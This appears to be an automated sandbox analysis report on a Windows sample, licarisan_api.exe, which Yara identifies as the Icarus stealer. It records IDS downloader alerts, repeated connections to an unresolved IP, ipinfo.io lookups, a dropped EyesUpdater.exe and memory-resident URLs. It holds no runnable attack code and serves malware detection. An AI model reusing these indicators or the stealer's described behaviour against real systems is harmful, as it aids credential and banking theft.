Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49833 -> 34.117.59.81:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:50432 -> 34.117.59.81:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:50494 -> 34.117.59.81:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:50482 -> 34.117.59.81:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:50484 -> 34.117.59.81:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:50474 -> 34.117.59.81:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:50450 -> 34.117.59.81:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:50486 -> 34.117.59.81:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:50498 -> 34.117.59.81:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:50500 -> 34.117.59.81:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:50454 -> 34.117.59.81:80

Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.146.64
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.146.64
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.146.64
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.146.64
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.146.64
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.146.64
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.146.64
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.146.64
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.146.64
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.146.64
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.146.64
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.146.64
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.146.64
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.146.64
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.146.64
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.146.64
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.146.64
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.146.64
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.146.64
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.146.64
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.146.64
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.146.64
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.146.64
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.146.64
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.146.64
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.146.64
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.146.64
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.146.64
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.146.64
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.146.64
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.146.64
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.146.64
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.146.64
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.146.64
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.146.64
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.146.64
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.146.64
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.146.64
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.146.64
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.146.64
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.146.64
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.146.64
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.146.64
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.146.64
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.146.64
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.146.64
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.146.64
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.146.64
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.146.64
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.146.64

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.io

Source: global traffic	DNS traffic detected: DNS query: ipinfo.io
Source: global traffic	DNS traffic detected: DNS query: 15.164.165.52.in-addr.arpa

Source: licarisan_api.exe, EyesUpdater.exe.0.dr	String found in binary or memory: http://ascstats.iobit.com/usage.phpU
Source: licarisan_api.exe, EyesUpdater.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: licarisan_api.exe, EyesUpdater.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: licarisan_api.exe, EyesUpdater.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: licarisan_api.exe, EyesUpdater.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: licarisan_api.exe, EyesUpdater.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: licarisan_api.exe, EyesUpdater.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: licarisan_api.exe, EyesUpdater.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: EyesUpdater.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: licarisan_api.exe, EyesUpdater.exe.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: cvtres.exe, 0000000C.00000002.2507488327.00000000030DF000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.0000000003103000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.0000000003004000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.000000000304C000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.000000000307E000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.00000000030C1000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.00000000030D3000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.0000000003152000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.0000000003072000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.0000000003090000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.0000000002FC1000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.0000000003010000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.00000000030AF000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.000000000314A000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.00000000030CD000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.00000000030EA000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.0000000003040000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.0000000003143000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.000000000309C000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.00000000030BB000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.00000000030D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ipinfo.io
Source: csc.exe, 0000000A.00000002.1448247892.0000000008445000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2503619664.0000000000402000.00000040.00000400.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.0000000002FC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ipinfo.io/ip
Source: cvtres.exe, 0000000C.00000002.2507488327.00000000030DF000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.0000000003103000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.0000000003004000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.000000000304C000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.000000000307E000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.00000000030C1000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.00000000030D3000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.0000000003152000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.0000000003072000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.0000000003090000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.0000000003010000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.00000000030AF000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.000000000314A000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.00000000030CD000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.00000000030EA000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.0000000003040000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.000000000309C000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.00000000030BB000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.00000000030D9000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.000000000308A000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.0000000003034000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ipinfo.io/ipd
Source: cvtres.exe, 0000000C.00000002.2507488327.00000000030DF000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.0000000003004000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.000000000307E000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.00000000030C1000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.00000000030D3000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.0000000003152000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.0000000003072000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.0000000003090000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.00000000030AF000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.000000000314A000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.00000000030CD000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.00000000030EA000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.0000000003040000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.0000000003143000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.000000000309C000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.00000000030BB000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.00000000030D9000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.000000000308A000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.0000000003034000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.00000000030C7000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2507488327.000000000303A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ipinfo.iod
Source: licarisan_api.exe, EyesUpdater.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: licarisan_api.exe, EyesUpdater.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: licarisan_api.exe, EyesUpdater.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: licarisan_api.exe, EyesUpdater.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: licarisan_api.exe, EyesUpdater.exe.0.dr	String found in binary or memory: http://piriform.com/go/app_cc_license_agreement
Source: licarisan_api.exe, EyesUpdater.exe.0.dr	String found in binary or memory: http://piriform.com/go/app_cc_privacy_policy
Source: cvtres.exe, 0000000C.00000002.2507488327.0000000002FC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: licarisan_api.exe, EyesUpdater.exe.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: licarisan_api.exe, EyesUpdater.exe.0.dr	String found in binary or memory: http://www.piriform.com/ccleaner
Source: cvtres.exe, 0000000C.00000002.2503619664.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://i.ibb.co/RvwvG2z/icaruwsdr-athens.png

E-Banking Fraud

Yara detected Icarus stealer

Source: Yara match	File source: 12.2.cvtres.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.csc.exe.852cc18.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.csc.exe.852cc18.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.2503619664.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1448247892.0000000008445000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: csc.exe PID: 7584, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: cvtres.exe PID: 7640, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

Code function: 10_2_05824800 CreateDesktopA,

10_2_05824800

System Summary

.NET source code contains suspicious base64 encoded strings

Source: 0.2.licarisan_api.exe.724afa.0.raw.unpack, GLBIU47KBU1H.cs

Base64 encoded string: System.Security.

.NET source code contains very large strings

Source: 0.2.licarisan_api.exe.724afa.0.raw.unpack, YGRKZZ70EYH6.cs

Long String: Length: 223008

Drops large PE files

Source: C:\Users\user\Desktop\licarisan_api.exe

File dump: EyesUpdater.exe.0.dr 976635604

Jump to dropped file

Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_0042E946 NtQueryDefaultLocale,	0_2_0042E946
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_0042FF22 NtQueryDefaultLocale,	0_2_0042FF22
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_0042EC16 NtQueryDefaultLocale,	0_2_0042EC16
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_0043016F NtQueryDefaultLocale,	0_2_0043016F
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_0042E107 NtQueryDefaultLocale,	0_2_0042E107
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_0042E524 NtQueryDefaultLocale,	0_2_0042E524
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_0042E128 NtQueryDefaultLocale,	0_2_0042E128
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_004301D6 NtQueryDefaultLocale,	0_2_004301D6
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_0042E183 NtQueryDefaultLocale,	0_2_0042E183
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_0042F6C1 NtQueryDefaultLocale,	0_2_0042F6C1
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_0042FAD8 NtQueryDefaultLocale,	0_2_0042FAD8
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_0042F6B2 NtQueryDefaultLocale,	0_2_0042F6B2
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_0042EBBD NtQueryDefaultLocale,	0_2_0042EBBD

Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_00420086	0_2_00420086
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_00435E80	0_2_00435E80
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_0043702B	0_2_0043702B
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_004358F4	0_2_004358F4
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_00435973	0_2_00435973
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_00435118	0_2_00435118
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_004355C4	0_2_004355C4
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_004255AF	0_2_004255AF
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_00435A55	0_2_00435A55
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_0042F6C1	0_2_0042F6C1
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_004356A8	0_2_004356A8
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_004306B3	0_2_004306B3
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_0042EF71	0_2_0042EF71
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_004353C6	0_2_004353C6
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_004253D9	0_2_004253D9
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007A6C25	0_2_007A6C25
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007A5124	0_2_007A5124
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007A7066	0_2_007A7066
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007A742C	0_2_007A742C
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007A8414	0_2_007A8414
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007AA8AF	0_2_007AA8AF
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007AA901	0_2_007AA901
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007AA5C7	0_2_007AA5C7
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007A565E	0_2_007A565E
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007A960E	0_2_007A960E
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007A86DB	0_2_007A86DB
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007AA6D8	0_2_007AA6D8
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007AA6C0	0_2_007AA6C0
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007AA681	0_2_007AA681
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007A7B2D	0_2_007A7B2D
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007B2413	0_2_007B2413
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007B5474	0_2_007B5474
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007B4843	0_2_007B4843
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007B48A5	0_2_007B48A5
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007B45C6	0_2_007B45C6
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007B467C	0_2_007B467C
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007B4677	0_2_007B4677
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007B4631	0_2_007B4631
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007B46C4	0_2_007B46C4
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007B468A	0_2_007B468A
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007B4BD5	0_2_007B4BD5
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007EF736	0_2_007EF736
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007F285D	0_2_007F285D
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007F4053	0_2_007F4053
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007CD42B	0_2_007CD42B
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007CD174	0_2_007CD174
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007DBDF4	0_2_007DBDF4
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007C8DF0	0_2_007C8DF0
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007F29EE	0_2_007F29EE
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007DC9CB	0_2_007DC9CB
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007EF5A1	0_2_007EF5A1
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007F018B	0_2_007F018B
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007EED82	0_2_007EED82
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007F125E	0_2_007F125E
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007EEEF7	0_2_007EEEF7
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007F1746	0_2_007F1746
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007F0BD4	0_2_007F0BD4
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007F3FC7	0_2_007F3FC7
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007F07A9	0_2_007F07A9
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007F1394	0_2_007F1394
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_0080F2BE	0_2_0080F2BE
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_008224CC	0_2_008224CC
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_0080F0E2	0_2_0080F0E2
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007FD56A	0_2_007FD56A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Code function: 12_2_016063B9	12_2_016063B9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Code function: 12_2_01609AD0	12_2_01609AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Code function: 12_2_01609ABF	12_2_01609ABF

Source: licarisan_api.exe, 00000000.00000002.1516311432.0000000000724000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameScreenShot.exe, vs licarisan_api.exe
Source: licarisan_api.exe, 00000000.00000002.1516311432.0000000000724000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameStub.exe" vs licarisan_api.exe
Source: licarisan_api.exe, 00000000.00000000.1260050152.00000000006C0000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameScreenShot.exe, vs licarisan_api.exe
Source: licarisan_api.exe, 00000000.00000002.1517624626.000000000250E000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameStub.exe" vs licarisan_api.exe
Source: licarisan_api.exe	Binary or memory string: OriginalFilenameScreenShot.exe, vs licarisan_api.exe

Source: licarisan_api.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

